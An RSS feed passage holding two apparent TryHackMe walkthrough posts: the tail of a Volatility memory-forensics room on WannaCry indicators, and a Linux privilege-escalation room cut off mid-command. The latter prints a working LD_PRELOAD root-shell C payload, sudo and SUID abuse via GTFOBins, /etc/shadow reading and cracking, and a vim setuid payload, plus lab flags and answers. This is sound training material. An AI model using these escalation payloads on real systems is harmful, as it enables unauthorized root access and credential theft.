in Case 001?</p><pre>python3 vol -f /Scenarios/Investigations/Investigation-1.vmem -o /tmp windows.memmap.Memmap - pid 1640 - dump<br>strings /tmp/pid.1640.dmp | grep -i &quot;user-agent&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NzTshx3I1gnWLp2egnQXNw.png" /></figure><pre>Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)</pre><p>Q8:Was Chase Bank one of the suspicious bank domains found in Case 001? (Y/N)</p><p>strings /tmp/pid.1640.dmp | grep -i “chase”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E8ZLhjRjT7Ww5k5a5fR0aA.png" /></figure><pre>Y</pre><p>Q9:What suspicious process is running at PID 740 in Case 002?</p><p>python3 vol.py -f /Scenarios/Investigations/Investigation-2.raw windows.pstree</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4wtQWWoIlRKi9vU9rLylng.png" /></figure><pre>@WanaDecryptor@</pre><p>Q10:What is the full path of the suspicious binary in PID 740 in Case 002?</p><pre>python3 vol -f /Scenarios/Investigations/Investigation-2.raw -o /tmp windows.memmap.Memmap --pid 740 --dump<br>strings /tmp/pid.740.dmp | grep -i @WanaDecryptor@</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*DZSNsh48jjzmtitsIvNNyw.png" /></figure><pre>C:\Intel\ivecuqmanpnirkt615\@WanaDecryptor@.exe</pre><p>Q11:What is the parent process of PID 740 in Case 002?</p><pre>tasksche.exe</pre><p>Q12:What is the suspicious parent process PID connected to the decryptor in Case 002?</p><pre>1940</pre><p>Q13:From our current information, what malware is present on the system in Case 002?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UZyuzXzfYK8k5DaqwuPLjA.png" /></figure><p>Q14:What DLL is loaded by the decryptor used for socket creation in Case 002?</p><p>python3 vol.py -f /Scenarios/Investigations/Investigation-2.raw windows.dlllist</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2G1TV5vPo_uPOjznQ-AXPQ.png" /></figure><pre>Ws2_32.dll</pre><p>Q15:What mutex can be found that is a known indicator of the malware in question in Case 002?</p><p>python3 vol.py -f /Scenarios/Investigations/Investigation-2.raw -p Win10x64 windows.handles.Handles — pid 740| grep Mutant</p><p>python3 vol.py -f /Scenarios/Investigations/Investigation-2.raw -p Win10x64 windows.handles.Handles — pid 1940 | grep Mutant</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_WH_xKSo3QlMjyPqNgcLAw.png" /></figure><pre>MsWinZonesCacheCounterMutexA</pre><p>Q16:What plugin could be used to identify all files loaded from the malware working directory in Case 002?</p><p>I asked it copilot</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*luO5FQn57EF-AD1evoXufA.png" /></figure><pre>windows.filescan</pre><h3>Task 11: Conclusion</h3><p>We have only covered a very thin layer of memory forensics that can go much deeper when analyzing the Windows, Mac, and Linux architecture. If you’re looking for a deep dive into memory forensics, I would suggest reading: The Art of Memory Forensics.</p><p>There are also a number of wikis and various community resources that can be used for more information about Volatility techniques found below.</p><ul><li><a href="https://github.com/volatilityfoundation/volatility/wiki">https://github.com/volatilityfoundation/volatility/wiki</a></li><li><a href="https://github.com/volatilityfoundation/volatility/wiki/Volatility-Documentation-Projec">https://github.com/volatilityfoundation/volatility/wiki/Volatility-Documentation-Projec</a></li><li><a href="https://digital-forensics.sans.org/media/Poster-2015-Memory-Forensics.pdf">https://digital-forensics.sans.org/media/Poster-2015-Memory-Forensics.pdf</a></li><li><a href="https://eforensicsmag.com/finding-advanced-malware-using-volatility/">https://eforensicsmag.com/finding-advanced-malware-using-volatility/</a></li></ul><p>From this room, as you continue on the SOC Level 1 path, more rooms will contain memory forensics challenges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/0*zwkQ8169hlCX_lpC.png" /></figure><p>No answer needed</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=80fe5de0d265" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Linux Privilege Escalation — TryHackMe]]></title>
            <link>https://medium.com/@notfo/linux-privilege-escalation-tryhackme-812681d8c4a8?source=rss-356ddbee4b59------2</link>
            <guid isPermaLink="false">https://medium.com/p/812681d8c4a8</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[notfo]]></dc:creator>
            <pubDate>Fri, 25 Jul 2025 15:39:09 GMT</pubDate>
            <atom:updated>2025-07-25T15:39:09.856Z</atom:updated>
            <content:encoded><![CDATA[<h3>Linux Privilege Escalation — TryHackMe</h3><h3>Task 1: Introduction</h3><p>Privilege escalation is a journey. There are no silver bullets, and much depends on the specific configuration of the target system. The kernel version, installed applications, supported programming languages, other users’ passwords are a few key elements that will affect your road to the root shell.</p><p>This room was designed to cover the main privilege escalation vectors and give you a better understanding of the process. This new skill will be an essential part of your arsenal whether you are participating in CTFs, taking certification exams, or working as a penetration tester.</p><p>No answer needed</p><h3>Task 2: What is Privilege Escalation?</h3><p><strong>What does “privilege escalation” mean?</strong></p><p>At it’s core, Privilege Escalation usually involves going from a lower permission account to a higher permission one. More technically, it’s the exploitation of a vulnerability, design flaw, or configuration oversight in an operating system or application to gain unauthorized access to resources that are usually restricted from the users.</p><p><strong>Why is it important?</strong></p><p>It’s rare when performing a real-world penetration test to be able to gain a foothold (initial access) that gives you direct administrative access. Privilege escalation is crucial because it lets you gain system administrator levels of access, which allows you to perform actions such as:</p><ul><li>Resetting passwords</li><li>Bypassing access controls to compromise protected data</li><li>Editing software configurations</li><li>Enabling persistence</li><li>Changing the privilege of existing (or new) users</li><li>Execute any administrative command</li></ul><p>No answer needed</p><h3>Task 3: Enumeration</h3><p>Enumeration is the first step you have to take once you gain access to any system. You may have accessed the system by exploiting a critical vulnerability that resulted in root-level access or just found a way to send commands using a low privileged account. Penetration testing engagements, unlike CTF machines, don’t end once you gain access to a specific system or user privilege level. As you will see, enumeration is as important during the post-compromise phase as it is before.</p><h3>hostname</h3><p>The hostname command will return the hostname of the target machine. Although this value can easily be changed or have a relatively meaningless string (e.g. Ubuntu-3487340239), in some cases, it can provide information about the target system’s role within the corporate network (e.g. SQL-PROD-01 for a production SQL server).</p><h3>uname -a</h3><p>Will print system information giving us additional detail about the kernel used by the system. This will be useful when searching for any potential kernel vulnerabilities that could lead to privilege escalation.</p><h3>/proc/version</h3><p>The proc filesystem (procfs) provides information about the target system processes. You will find proc on many different Linux flavours, making it an essential tool to have in your arsenal.</p><p>Looking at /proc/version may give you information on the kernel version and additional data such as whether a compiler (e.g. GCC) is installed.</p><h3>/etc/issue</h3><p>Systems can also be identified by looking at the /etc/issue file. This file usually contains some information about the operating system but can easily be customized or changed. While on the subject, any file containing system information can be customized or changed. For a clearer understanding of the system, it is always good to look at all of these.</p><h3>ps Command</h3><p>The ps command is an effective way to see the running processes on a Linux system. Typing ps on your terminal will show processes for the current shell.</p><p>The output of the ps (Process Status) will show the following;</p><ul><li>PID: The process ID (unique to the process)</li><li>TTY: Terminal type used by the user</li><li>Time: Amount of CPU time used by the process (this is NOT the time this process has been running for)</li><li>CMD: The command or executable running (will NOT display any command line parameter)</li></ul><p>The “ps” command provides a few useful options.</p><ul><li>ps -A: View all running processes</li><li>ps axjf: View process tree (see the tree formation until ps axjf is run below)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/0*E02M2qy-erRj1vOB.png" /></figure><ul><li>ps aux: The aux option will show processes for all users (a), display the user that launched the process (u), and show processes that are not attached to a terminal (x). Looking at the ps aux command output, we can have a better understanding of the system and potential vulnerabilities.</li></ul><h3>env</h3><p>The env command will show environmental variables.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/971/0*svjC9PGjYVtgHO05.png" /></figure><p>The PATH variable may have a compiler or a scripting language (e.g. Python) that could be used to run code on the target system or leveraged for privilege escalation.</p><h3>sudo -l</h3><p>The target system may be configured to allow users to run some (or all) commands with root privileges. The sudo -l command can be used to list all commands your user can run using sudo.</p><p>ls</p><p>One of the common commands used in Linux is probably ls.</p><p>While looking for potential privilege escalation vectors, please remember to always use the ls command with the -la parameter. The example below shows how the “secret.txt” file can easily be missed using the ls or ls -l commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/469/0*XRTIjR08d3qLuRx6.png" /></figure><h3>Id</h3><p>The id command will provide a general overview of the user’s privilege level and group memberships.</p><p>It is worth remembering that the id command can also be used to obtain the same information for another user as seen below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/425/0*EGkqEtCdBAJpm6sK.png" /></figure><h3>/etc/passwd</h3><p>Reading the /etc/passwd file can be an easy way to discover users on the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/0*tAjxdeSRPu6xFc5V.png" /></figure><p>While the output can be long and a bit intimidating, it can easily be cut and converted to a useful list for brute-force attacks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/526/0*Vyli2AM0YJhbSWwc.png" /></figure><p>Remember that this will return all users, some of which are system or service users that would not be very useful. Another approach could be to grep for “home” as real users will most likely have their folders under the “home” directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/0*OszO4-Dj1rCblzTS.png" /></figure><h3>history</h3><p>Looking at earlier commands with the history command can give us some idea about the target system and, albeit rarely, have stored information such as passwords or usernames.</p><h3>ifconfig</h3><p>The target system may be a pivoting point to another network. The ifconfig command will give us information about the network interfaces of the system. The example below shows the target system has three interfaces (eth0, tun0, and tun1). Our attacking machine can reach the eth0 interface but can not directly access the two other networks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/0*ezbpu4ODBVBllJYf.png" /></figure><p>This can be confirmed using the ip route command to see which network routes exist.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/0*5bpkhD0r7RDkLEbk.png" /></figure><h3>netstat</h3><p>Following an initial check for existing interfaces and network routes, it is worth looking into existing communications. The netstat command can be used with several different options to gather information on existing connections.</p><ul><li>netstat -a: shows all listening ports and established connections.</li><li>netstat -at or netstat -au can also be used to list TCP or UDP protocols respectively.</li><li>netstat -l: list ports in “listening” mode. These ports are open and ready to accept incoming connections. This can be used with the “t” option to list only ports that are listening using the TCP protocol (below)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/0*bszxNHq5lfdIabeH.png" /></figure><ul><li>netstat -s: list network usage statistics by protocol (below) This can also be used with the -t or -u options to limit the output to a specific protocol.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/435/0*KDYwBKM8tjenYl15.png" /></figure><ul><li>netstat -tp: list connections with the service name and PID information.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/0*VBkdbUQ-1EELmrbF.png" /></figure><p>This can also be used with the -l option to list listening ports (below)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/811/0*GIM3wSOSpJpSF881.png" /></figure><p>We can see the “PID/Program name” column is empty as this process is owned by another user.</p><p>Below is the same command run with root privileges and reveals this information as 2641/nc (netcat)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/0*FMncOg9tlttoCYor.png" /></figure><ul><li>netstat -i: Shows interface statistics. We see below that “eth0” and “tun0” are more active than “tun1”.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/0*uBcvbI64q-X6zp5Y.png" /></figure><p>The netstat usage you will probably see most often in blog posts, write-ups, and courses is netstat -ano which could be broken down as follows;</p><ul><li>-a: Display all sockets</li><li>-n: Do not resolve names</li><li>-o: Display timers</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/0*UN-p1ouncJHjWwgc.png" /></figure><h3>find Command</h3><p>Searching the target system for important information and potential privilege escalation vectors can be fruitful. The built-in “find” command is useful and worth keeping in your arsenal.</p><p>Below are some useful examples for the “find” command.</p><p><strong>Find files:</strong></p><ul><li>find . -name flag1.txt: find the file named “flag1.txt” in the current directory</li><li>find /home -name flag1.txt: find the file names “flag1.txt” in the /home directory</li><li>find / -type d -name config: find the directory named config under “/”</li><li>find / -type f -perm 0777: find files with the 777 permissions (files readable, writable, and executable by all users)</li><li>find / -perm a=x: find executable files</li><li>find /home -user frank: find all files for user “frank” under “/home”</li><li>find / -mtime 10: find files that were modified in the last 10 days</li><li>find / -atime 10: find files that were accessed in the last 10 day</li><li>find / -cmin -60: find files changed within the last hour (60 minutes)</li><li>find / -amin -60: find files accesses within the last hour (60 minutes)</li><li>find / -size 50M: find files with a 50 MB size</li></ul><p>This command can also be used with (+) and (-) signs to specify a file that is larger or smaller than the given size.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/557/0*qkQzbTBgnKUghgvR.png" /></figure><p>The example above returns files that are larger than 100 MB. It is important to note that the “find” command tends to generate errors which sometimes makes the output hard to read. This is why it would be wise to use the “find” command with “-type f 2&gt;/dev/null” to redirect errors to “/dev/null” and have a cleaner output (below).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/415/0*DINXZ0LPbPtTCges.png" /></figure><p>Folders and files that can be written to or executed from:</p><ul><li>find / -writable -type d 2&gt;/dev/null : Find world-writeable folders</li><li>find / -perm -222 -type d 2&gt;/dev/null: Find world-writeable folders</li><li>find / -perm -o w -type d 2&gt;/dev/null: Find world-writeable folders</li></ul><p>The reason we see three different “find” commands that could potentially lead to the same result can be seen in the manual document. As you can see below, the perm parameter affects the way “find” works.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*QRiZdG0RBWCAk0nO.png" /></figure><ul><li>find / -perm -o x -type d 2&gt;/dev/null : Find world-executable folders</li></ul><p>Find development tools and supported languages:</p><ul><li>find / -name perl*</li><li>find / -name python*</li><li>find / -name gcc*</li></ul><p>Find specific file permissions:</p><p>Below is a short example used to find files that have the SUID bit set. The SUID bit allows the file to run with the privilege level of the account that owns it, rather than the account which runs it. This allows for an interesting privilege escalation path,we will see in more details on task 6. The example below is given to complete the subject on the “find” command.</p><ul><li>find / -perm -u=s -type f 2&gt;/dev/null: Find files with the SUID bit, which allows us to run the file with a higher privilege level than the current user.</li></ul><h3>General Linux Commands</h3><p>As we are in the Linux realm, familiarity with Linux commands, in general, will be very useful. Please spend some time getting comfortable with commands such as find, locate, grep, cut, sort, etc.</p><p>Q1:What is the hostname of the target system?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/219/1*rm8dUI4Mj1CAZR5W_nvLhw.png" /></figure><pre>wade7363</pre><p>Q2: What is the Linux kernel version of the target system?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*FXw00PzTGqUgi2WYEgvx8Q.png" /></figure><pre> 3.13.0-24-generic</pre><p>Q3:What Linux is this?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/269/1*UrnLiozw5TJ7azsnYWKEUg.png" /></figure><pre>Ubuntu 14.04 LTS</pre><p>Q4:What version of the Python language is installed on the system?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*90BW7Z_ng1iKPMpHIx_48Q.png" /></figure><pre>2.7.6</pre><p>Q5:What vulnerability seem to affect the kernel of the target system? (Enter a CVE number)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bjtl9hsoDdgo5a-YDIk0uw.png" /></figure><pre>CVE-2015-1328</pre><h3>Task 4: Automated Enumeration Tools</h3><p>Several tools can help you save time during the enumeration process. These tools should only be used to save time knowing they may miss some privilege escalation vectors. Below is a list of popular Linux enumeration tools with links to their respective Github repositories.</p><p>The target system’s environment will influence the tool you will be able to use. For example, you will not be able to run a tool written in Python if it is not installed on the target system. This is why it would be better to be familiar with a few rather than having a single go-to tool.</p><ul><li><strong>LinPeas</strong>: <a href="https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS">https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS</a></li><li><strong>LinEnum: </strong><a href="https://github.com/rebootuser/LinEnum">https://github.com/rebootuser/LinEnum</a></li><li><strong>LES (Linux Exploit Suggester): </strong><a href="https://github.com/mzet-/linux-exploit-suggester">https://github.com/mzet-/linux-exploit-suggester</a></li><li><strong>Linux Smart Enumeration: </strong><a href="https://github.com/diego-treitos/linux-smart-enumeration">https://github.com/diego-treitos/linux-smart-enumeration</a></li><li><strong>Linux Priv Checker:</strong> <a href="https://github.com/linted/linuxprivchecker">https://github.com/linted/linuxprivchecker</a></li></ul><p>Q:Install and try a few automated enumeration tools on your local Linux distribution</p><pre>No answer needed</pre><h3>Task 5: Privilege Escalation: Kernel Exploits</h3><p>Privilege escalation ideally leads to root privileges. This can sometimes be achieved simply by exploiting an existing vulnerability, or in some cases by accessing another user account that has more privileges, information, or access.</p><p>Unless a single vulnerability leads to a root shell, the privilege escalation process will rely on misconfigurations and lax permissions.</p><p>The kernel on Linux systems manages the communication between components such as the memory on the system and applications. This critical function requires the kernel to have specific privileges; thus, a successful exploit will potentially lead to root privileges.</p><p>The Kernel exploit methodology is simple;</p><ol><li>Identify the kernel version</li><li>Search and find an exploit code for the kernel version of the target system</li><li>Run the exploit</li></ol><p>Although it looks simple, please remember that a failed kernel exploit can lead to a system crash. Make sure this potential outcome is acceptable within the scope of your penetration testing engagement before attempting a kernel exploit.</p><p><strong>Research sources:</strong></p><ol><li>Based on your findings, you can use Google to search for an existing exploit code.</li><li>Sources such as <a href="https://www.cvedetails.com/">https://www.cvedetails.com/</a> can also be useful.</li><li>Another alternative would be to use a script like LES (Linux Exploit Suggester) but remember that these tools can generate false positives (report a kernel vulnerability that does not affect the target system) or false negatives (not report any kernel vulnerabilities although the kernel is vulnerable).</li></ol><p><strong>Hints/Notes:</strong></p><ol><li>Being too specific about the kernel version when searching for exploits on Google, Exploit-db, or searchsploit</li><li>Be sure you understand how the exploit code works BEFORE you launch it. Some exploit codes can make changes on the operating system that would make them unsecured in further use or make irreversible changes to the system, creating problems later. Of course, these may not be great concerns within a lab or CTF environment, but these are absolute no-nos during a real penetration testing engagement.</li><li>Some exploits may require further interaction once they are run. Read all comments and instructions provided with the exploit code.</li><li>You can transfer the exploit code from your machine to the target system using the SimpleHTTPServer Python module and wget respectively.</li></ol><p>Q1:find and use the appropriate kernel exploit to gain root privileges on the target system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1011/1*LcCB73_WHBWN6BBQwj6SaQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*qICy6tUZ5bLbDDpCSIGtwQ.png" /></figure><p>Copy paste the script content</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IXgbqJvTINValQ5LiRRJ2A.png" /></figure><p>We need to compile ofs.c then execute</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*LdqU_6jP8mlH7PvKH3KYUw.png" /></figure><pre>No answer needed</pre><p>Q2:What is the content of the flag1.txt file?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*6CQaFuKkpsj7cWL2z26MNQ.png" /></figure><pre>THM-28392872729920</pre><h3>Task 6: Privilege Escalation: Sudo</h3><p>The sudo command, by default, allows you to run a program with root privileges. Under some conditions, system administrators may need to give regular users some flexibility on their privileges. For example, a junior SOC analyst may need to use Nmap regularly but would not be cleared for full root access. In this situation, the system administrator can allow this user to only run Nmap with root privileges while keeping its regular privilege level throughout the rest of the system.</p><p>Any user can check its current situation related to root privileges using the sudo -l command.</p><p><a href="https://gtfobins.github.io/">https://gtfobins.github.io/</a> is a valuable source that provides information on how any program, on which you may have sudo rights, can be used.</p><p><strong>Leverage application functions</strong></p><p>Some applications will not have a known exploit within this context. Such an application you may see is the Apache2 server.</p><p>In this case, we can use a “hack” to leak information leveraging a function of the application. As you can see below, Apache2 has an option that supports loading alternative configuration files (-f : specify an alternate ServerConfigFile).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/0*ZHZos02UwHy8YIM4.png" /></figure><p>Loading the /etc/shadow file using this option will result in an error message that includes the first line of the /etc/shadow file.</p><p><strong>Leverage LD_PRELOAD</strong></p><p>On some systems, you may see the LD_PRELOAD environment option.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/0*0L56PyyfysCb-JOY.png" /></figure><p>LD_PRELOAD is a function that allows any program to use shared libraries. This <a href="https://rafalcieslak.wordpress.com/2013/04/02/dynamic-linker-tricks-using-ld_preload-to-cheat-inject-features-and-investigate-programs/">blog post</a> will give you an idea about the capabilities of LD_PRELOAD. If the “env_keep” option is enabled we can generate a shared library which will be loaded and executed before the program is run. Please note the LD_PRELOAD option will be ignored if the real user ID is different from the effective user ID.</p><p>The steps of this privilege escalation vector can be summarized as follows;</p><ol><li>Check for LD_PRELOAD (with the env_keep option)</li><li>Write a simple C code compiled as a share object (.so extension) file</li><li>Run the program with sudo rights and the LD_PRELOAD option pointing to our .so file</li></ol><p>The C code will simply spawn a root shell and can be written as follows;</p><p>#include &lt;stdio.h&gt;<br>#include &lt;sys/types.h&gt;<br>#include &lt;stdlib.h&gt;</p><p>void _init() {<br>unsetenv(“LD_PRELOAD”);<br>setgid(0);<br>setuid(0);<br>system(“/bin/bash”);<br>}</p><p>We can save this code as shell.c and compile it using gcc into a shared object file using the following parameters;</p><p>gcc -fPIC -shared -o shell.so shell.c -nostartfiles</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/0*Ai45U-Mwm4k07jh_.png" /></figure><p>We can now use this shared object file when launching any program our user can run with sudo. In our case, Apache2, find, or almost any of the programs we can run with sudo can be used.</p><p>We need to run the program by specifying the LD_PRELOAD option, as follows;</p><p>sudo LD_PRELOAD=/home/user/ldpreload/shell.so find</p><p>This will result in a shell spawn with root privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/0*TiMYXZDl_yILWLac.png" /></figure><p>Q1:How many programs can the user “karen” run on the target system with sudo rights?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2h8CBi-BLHiH2zPiF6A8iQ.png" /></figure><pre>3</pre><p>Q2:What is the content of the flag2.txt file?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/536/1*NPhw-o0_JdYs9wy4evG6yw.png" /></figure><pre>THM-402028394</pre><p>Q3:How would you use Nmap to spawn a root shell if your user had sudo rights on nmap?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f0IzVX68-LxjNUYn1fa43g.png" /></figure><p>Click Sudo</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bYVm2DIKw1i1SPD78tFaqQ.png" /></figure><pre>sudo nmap --interactive</pre><p>Q4:What is the hash of frank’s password?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*Ft3obV64F2R8QciV1mIQXg.png" /></figure><p>Karen has 3 available commands less, find, nano. We could try to spawn with less command</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VLxBG84LMmUHeZvBoH3ARg.png" /></figure><pre>$6$2.sUUDsOLIpXKxcr$eImtgFExyr2ls4jsghdD3DHLHHP9X50Iv.jNmwo/BJpphrPRJWjelWEz2HH.joV14aDEwW1c3<br>CahzB1uaqeLR1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZaLd1POVVfZkjsk23cG-1w.png" /></figure><pre>$6$2.sUUDsOLIpXKxcr$eImtgFExyr2ls4jsghdD3DHLHHP9X50Iv.jNmwo/BJpphrPRJWjelWEz2HH.joV14aDEwW1c3CahzB1uaqeLR1</pre><h3>Task 7: Privilege Escalation: SUID</h3><p>Much of Linux privilege controls rely on controlling the users and files interactions. This is done with permissions. By now, you know that files can have read, write, and execute permissions. These are given to users within their privilege levels. This changes with SUID (Set-user Identification) and SGID (Set-group Identification). These allow files to be executed with the permission level of the file owner or the group owner, respectively.</p><p>You will notice these files have an “s” bit set showing their special permission level.</p><p>find / -type f -perm -04000 -ls 2&gt;/dev/null will list files that have SUID or SGID bits set.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/0*zd0L28brkNyLoXHx.png" /></figure><p>A good practice would be to compare executables on this list with GTFOBins (<a href="https://gtfobins.github.io/">https://gtfobins.github.io</a>). Clicking on the SUID button will filter binaries known to be exploitable when the SUID bit is set (you can also use this link for a pre-filtered list <a href="https://gtfobins.github.io/#+suid">https://gtfobins.github.io/#+suid</a>).</p><p>The list above shows that nano has the SUID bit set. Unfortunately, GTFObins does not provide us with an easy win. Typical to real-life privilege escalation scenarios, we will need to find intermediate steps that will help us leverage whatever minuscule finding we have.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/0*r3e98Tw9nzhz_tlA.png" /></figure><p><strong>Note</strong>: The attached VM has another binary with SUID other than nano.</p><p>The SUID bit set for the nano text editor allows us to create, edit and read files using the file owner’s privilege. Nano is owned by root, which probably means that we can read and edit files at a higher privilege level than our current user has. At this stage, we have two basic options for privilege escalation: reading the /etc/shadow file or adding our user to /etc/passwd.</p><p>Below are simple steps using both vectors.</p><p>reading the /etc/shadow file</p><p>We see that the nano text editor has the SUID bit set by running the find / -type f -perm -04000 -ls 2&gt;/dev/null command.</p><p>nano /etc/shadow will print the contents of the /etc/shadow file. We can now use the unshadow tool to create a file crackable by John the Ripper. To achieve this, unshadow needs both the /etc/shadow and /etc/passwd files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/0*0tT6sl311v422UbV.png" /></figure><p>The unshadow tool’s usage can be seen below;<br>unshadow passwd.txt shadow.txt &gt; passwords.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/445/0*kVsmR9QCdkQ5e3bb.png" /></figure><p>With the correct wordlist and a little luck, John the Ripper can return one or several passwords in cleartext. For a more detailed room on John the Ripper, you can visit <a href="https://tryhackme.com/room/johntheripperbasics">https://tryhackme.com/room/johntheripperbasics</a>.</p><p>The other option would be to add a new user that has root privileges. This would help us circumvent the tedious process of password cracking. Below is an easy way to do it:</p><p>We will need the hash value of the password we want the new user to have. This can be done quickly using the openssl tool on Kali Linux.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/433/0*Zv2WzhQeTiPgVN0Z.png" /></figure><p>We will then add this password with a username to the /etc/passwd file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/0*xtdltTfFfIyd14vH.png" /></figure><p>Once our user is added (please note how root:/bin/bash was used to provide a root shell) we will need to switch to this user and hopefully should have root privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/0*JLFT3G8JpW4MJLpj.png" /></figure><p>Now it’s your turn to use the skills you were just taught to find a vulnerable binary.</p><p>Q1:Which user shares the name of a great comic book writer?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RKBiCr31ZAQcD-MXSfQUXg.png" /></figure><p>Q2:What is the password of user2?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*HUwP6DrJbmxlxMfzhVZHpg.png" /></figure><p>We cant access the /etc/shadow file.</p><p>find / -type f -perm -04000 -ls 2&gt;/dev/null will list files that have SUID or SGID bits set.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IZFw8XnB-Tzb6skphVM3Zw.png" /></figure><p>We need to find intersection above find result and SUID command list <a href="https://gtfobins.github.io/#+suid">https://gtfobins.github.io/#+suid</a></p><p>Both have <strong>base64</strong>: Lets try to SUID command of base64</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6AEvWGtNCHldZ4b53qOpjw.png" /></figure><p>We could skip first command <em>sudo install -m =xs $(which base64) .</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N1mBXQ7QyTpldfXMO5-IhA.png" /></figure><p>Copy the user2 password and switch to Attack Box. Create a file and paste the password. Then run John Ripper</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E01onKwRX1yg3gyW48urwA.png" /></figure><pre>Password1</pre><p>Q3:What is the content of the flag3.txt file?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/1*t7EF62e8IuTVG8aozBR_wg.png" /></figure><pre>THM-3847834</pre><h3>Task 8: Privilege Escalation: Capabilities</h3><p>Another method system administrators can use to increase the privilege level of a process or binary is “Capabilities”. Capabilities help manage privileges at a more granular level. For example, if the SOC analyst needs to use a tool that needs to initiate socket connections, a regular user would not be able to do that. If the system administrator does not want to give this user higher privileges, they can change the capabilities of the binary. As a result, the binary would get through its task without needing a higher privilege user.<br>The capabilities man page provides detailed information on its usage and options.</p><p>We can use the getcap tool to list enabled capabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_wbIkJI5G5xsdPTN.png" /></figure><p>When run as an unprivileged user, getcap -r / will generate a huge amount of errors, so it is good practice to redirect the error messages to /dev/null.</p><p>Please note that neither vim nor its copy has the SUID bit set. This privilege escalation vector is therefore not discoverable when enumerating files looking for SUID.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/0*Rw9UoZA1HzDMLMhp.png" /></figure><p>GTFObins has a good list of binaries that can be leveraged for privilege escalation if we find any set capabilities.</p><p>We notice that vim can be used with the following command and payload:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*T8u_wcGCHt7xRqlV.png" /></figure><p>./vim -c ‘:py3 import os; os.setuid(0); os.execl(“/bin/sh”, “sh”, “-c”, 